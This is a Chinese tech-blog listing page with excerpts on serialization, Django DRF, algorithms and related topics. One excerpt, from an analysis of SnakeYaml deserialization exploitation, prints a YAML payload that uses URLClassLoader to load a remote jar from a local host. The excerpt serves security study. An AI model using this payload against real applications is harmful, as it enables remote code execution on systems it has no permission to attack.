序列 数字p2501 2006

高并发环境下生成序列编码重复问题分析

一、背景 有个业务系统(订单系统),通过后台日志和监控观察,系统偶尔会出现重复唯一索引问题,例如:后台日志片段 Duplicate entry 'service_no' for key 'idx_service_no' .... 也就是说写入数据与数据库已有数据发生重复。 下面我们分析一下问题出现在 ......
序列 编码 环境 问题

kali更新源数字签名错误解决办法

apt-get update更新时出现错误,提示Release文件已经过期,无论是使用kali官方源还是阿里源、中科大源都报该错误。 网上查找相关资料,签名出错需要下载数字签名,方案如下: wget archive.kali.org/archive-key.asc //下载签名 apt-key ad ......
数字签名 错误 办法 数字 kali

【LeetCode回溯算法#08】递增子序列,巩固回溯算法中的去重问题

递增子序列 力扣题目链接(opens new window) 给定一个整型数组, 你的任务是找到所有该数组的递增子序列,递增子序列的长度至少是2。 示例 1: 输入:nums = [4,6,7,7] 输出:[[4,6],[4,6,7],[4,6,7,7],[4,7],[4,7,7],[6,7],[6 ......
算法 序列 LeetCode 问题 08

网页js版音频数字信号处理:H5录音+特定频率信号的特征分析和识别提取

音频数字信号处理 Audio DSP (Digital Signal Processing) 是一个复杂又专业的话题,本文介绍的是如何从音频中实时分析和识别出特定频率信号的一种方法,对应的代码为可运行在浏览器中的html5网页版(可移植);可用于识别环境中特定频率的声音、或噪声、乐器弹奏的音调。 在 ......
信号 信号处理 频率 特征 音频

使用JsonTextReader提高Json.NET反序列化的性能

一、碰到的问题 在服务器的文件系统上有一个业务生成的BigTable.json文件,其可能包含的JSON字符串很大,同时里边的集合会包含很多的记录;我们使用以下的代码来反序列化,虽然使用了异步的ReadAllTextAsync来读取文件,但是还是需要将整个的文件内容都读取到内存中,这样会极大的占用服 ......
JsonTextReader 序列 性能 Json NET

SnakeYaml的不出网反序列化利用分析

SnakeYaml的常见出网利用方式: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
序列 SnakeYaml

T-SQL——数字辅助表

shanzm-2023年2月20日 0.永久性的连续数字表 使用循环可以快速创建一个Nums真实的表Nums IF OBJECT_ID('dbo.Nums') IS NOT NULL DROP TABLE dbo.Nums; CREATE TABLE dbo.Nums (n INT NOT NULL ......
数字 T-SQL SQL

下篇 | 使用 🤗 Transformers 进行概率时间序列预测

在《使用 🤗 Transformers 进行概率时间序列预测》的第一部分里,我们为大家介绍了传统时间序列预测和基于 Transformers 的方法,也一步步准备好了训练所需的数据集并定义了环境、模型、转换和 InstanceSplitter。本篇内容将包含从数据加载器,到前向传播、训练、推理和展 ......

django框架之drf:4、序列化器常用字段及参数,序列化器高级用法之source,定制字段数据的两种方法,多表关联反序列化的保存,ModelSerializer的使用

Django框架之drf 一、序列化器常用字段及参数 # 序列化类 》字段类 CharField,除此之外还有哪些其他的 # 序列化类 》字段类,字段类上,传属性的 ,序列化类上,也可以写属性 models.CharField(max_length=32) 1、常用字段 | 字段 | 字段构造方式 ......
序列 字段 ModelSerializer 框架 常用

Django框架之drf:5、反序列化器校验部分源码分析,断言,drf之请求与响应,视图组件介绍及两个视图基类,代码部分实战

Django框架之drf 一、反序列化类校验部分源码解析 反序列化校验什么时候开始执行校验? 剖析流程一:在视图中使用反序列化器实例化的对象调用is_valid()的时候就会进行校验,通贩校验返回True,反之False class BookView(APIView): # 新增 def post( ......
视图 部分 序列 实战 组件

ApiView/Request类源码分析/序列化器

内容概要 ApiView+JsonResponse编写接口 ApiView+Response编写接口 ApiView源码解析 Request对象源码分析 序列化器介绍和快速使用/反序列化 反序列化的校验 ApiView+JsonResponse编写接口 我们还是在models模型层中创建一个book ......
序列 源码 ApiView Request

Java实现BP神经网络MNIST手写数字识别

Java实现BP神经网络,内含BP神经网络类,采用MNIST数据集,包含服务器和客户端程序,可在服务器训练后使客户端直接使用训练结果,界面有画板,可以手写数字 ......
神经网络 神经 数字 MNIST 网络

java反序列化基础

前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下 参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010 01.什么是序列化与反序列化 其实java的序列化说白了就是将一个对象转换成 ......
序列 基础 java

从设计110序列检测器来看--同步时序电路设计

#从设计110序列检测器来看--同步时序电路设计 开学临近,本人查缺补漏,应对推迟的期末考试 同步时序逻辑设计,难度有所增加,本人欲通过110序列检测器来解决这一问题点: ##设计步骤: 1.获取原始状态图与状态表--分析状态图表 2.最简化状态图表 3.状态编码 4.利用状态转移表与触发器特征设计 ......

JavaScript 中URL 查询字符串(query string)的序列与反序列化

方法一: 在 JavaScript 中,可以使用 URLSearchParams 对象来处理 URL 中的查询字符串。 序列化(将 JavaScript 对象转换为查询字符串)可以使用 URLSearchParams 对象的 append() 方法,如下所示: let params = new UR ......
序列 字符串 JavaScript 字符 string

【Django drf】 序列化类常用字段类和字段参数 定制序列化字段的两种方式 关系表外键字段的反序列化保存 序列化类继承ModelSerializer 反序列化数据校验源码分析

序列化类常用字段类和字段参数 常用字段类 # BooleanField BooleanField() # NullBooleanField NullBooleanField() # CharField CharField(max_length=None, min_length=None, allow ......
序列 字段 ModelSerializer 源码 常用

《数字图像处理》学习笔记

本文是对《数字图像处理》书的学习笔记,不涉及具体代码,主要是原理概述和公式描述,及概念理解。学习数字图像处理能让我们更深入理解计算机视觉领域的内容。 ......
图像处理 图像 数字 笔记

WebGoat-8.2.2靶场之不安全的反序列化漏洞

前言 序列化是将变量或对象转换成字符串的过程 反序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输 而反序列化漏洞就是,假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变,之所以会产生反序列化漏洞是因为应用 ......
靶场 序列 漏洞 WebGoat

基于SqlSugar的开发框架循序渐进介绍(24)-- 使用Serialize.Linq对Lambda表达式进行序列化和反序列化

在上篇随笔《基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求》中介绍了基于一个接口,实现对两种不同接入方式(直接访问数据库实现,基于Web API代理类实现)的处理,由于定义的接口中,我们为了方便,也是用了Lambda表达式的进行一... ......

ArcObjects SDK 025 对象的序列化和反序列化

在ArcObjects SDK,序列化接口是IPersistStream,该接口的定义如下。 其中GetClassID函数可以获取实际类型的唯一ID,Load函数是反序列化函数,Save函数为序列化函数。我们看下Load和Save函数是接收什么参数。 Save函数的定义如下所示。 public vo ......
序列 ArcObjects 对象 025 SDK

C#应用程序配置文件(XML序列化) - 开源研究系列文章

上次写了一个C#线程池及管理器的博文( C#开发的线程池和管理器 - 开源研究系列文章 ),收到了不小的浏览量,在此感谢各位网友的支持。这次将另一个功能放出来单独讲解:C#应用程序的配置文件,使用的是XML文件保存程序的配置信息,通过XML序列化和反序列化,将配置文件规范起来。 一、 项目目录; 项 ......
序列 应用程序 文件 程序 文章

谈谈我的「数字文具盒」 - Obsidian

这篇关于 Obsidian 是生产力工具的终篇了,因为目前涉及 Obsidian 的文章特别多,所以我就不啰里啰嗦叙述重复的文字了。本文主要涉及到 Obsidian 和 Docusaurus 如何进行有机的结合。 Obsidian Obsidian is a powerful and extensi ......
文具盒 文具 Obsidian 数字

如何使用 System.Text.Json 序列化 DateTimeOffset 为 Unix 时间戳

在 .NET 中,日期和时间通常使用 DateTime 或 DateTimeOffset 来表示。这两种数据类型都可以表示日期和时间,但它们之间有一些明显的区别。DateTime 是不带时区信息的,而 DateTimeOffset 是带时区偏移量的,可以用来表示一个特定的时刻。 在现代 web 应用 ......
DateTimeOffset 序列 时间 System Json

Django框架:10、Ajax补充说明、多对多三种创建方法、Django内置序列化组件、批量操作数据方法、分页器思路

Django框架 一、Ajax补充说明 1、针对前端回调函数接受值的说明 主要针对回调函数args接收到的响应数据 1、后端如何判断请求发出方式 关键词:is_ajax() 通过request点的方式可以判断请求是否由Ajax发出 def home(request): print(request.i ......
方法 Django 序列 组件 框架

初识图像处理技术:数字图像分割 ------ 图像分割、边界分割(边缘检测)、区域分割

2022-12-04 更新:纪念博主的另一篇连载博客《漫谈计算机网络》完结啦! 引流一下嘻嘻♥ 漫谈计算机网络 连载的所有章节👇: 1.漫谈计算机网络:概述 从起源开始到分层协议结构,初识究竟什么是计算机网络? - slowlydance2me - 博客园 (cnblogs.com) 图像处理技术 ......
图像 图像处理 边界 边缘 区域

.net6&7中如何优雅且高性能的使用Json序列化

.net中的SourceGenerator让开发者编可以写分析器,在项目代码编译时,分析器分析项目既有的静态代码,允许添加源代码到GeneratorExecutionContext中,一同与既有的代码参与编译。这种技术其实是把一些运行时才能去获取程序集相关资源的方式提前到编译前了。 .net6开始, ......
序列 高性能 net6 Json net

Fastjsonfan反序列化(1)

前言 之前只是对FastJson漏洞有简单的一个认知,虽然由于网上fastjson漏洞调试的文章很多,但是真正有着自己的理解并能清楚的讲述出来的文章少之又少。大多文章都是对已知的漏洞调用流程做了大量分析,但是技术细节究竟是怎么实现的?实现的有什么问题?安全上能带来什么? “这是最好的时代,也是最坏的 ......
序列 Fastjsonfan

使用.NET7和C#11打造最快的序列化程序-以MemoryPack为例

译者注 本文是一篇不可多得的好文,MemoryPack 的作者 neuecc 大佬通过本文解释了他是如何将序列化程序性能提升到极致的;其中从很多方面(可变长度、字符串、集合等)解释了一些性能优化的技巧,值得每一个开发人员学习,特别是框架的开发人员的学习,一定能让大家获益匪浅。 简介 我发布了一个名为 ......
序列 MemoryPack 程序 NET7 NET

谈谈我的「数字文具盒」 - 数字基建

万丈高楼平地起,只有打好地基才能更好的实现数字文具盒。传统意义上的基础设施主要是公路、电网、供水等设施;数字基建则是互联网、数据中心等数字化设施。本文的数字基建主要是:云服务器 + 域名。 云服务器 **云服务器(Cloud Virtual Machine,CVM)**提供安全可靠的弹性计算服务。 ......
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谈谈我的「数字文具盒」 - 运行平台

数字基建准备工作完成以后,就要准备搭建运行平台;简单来说运行平台是云服务器与应用服务的中间层起着承上启下的作用。例如操作系统的选择、运行模式的规划、数据存储的模式、系统安全的完善。 因为我只有一台性能有限的云服务器,所以运行平台达到的最终目的是应用服务高内聚,低耦合。 操作系统 Windows Se ......
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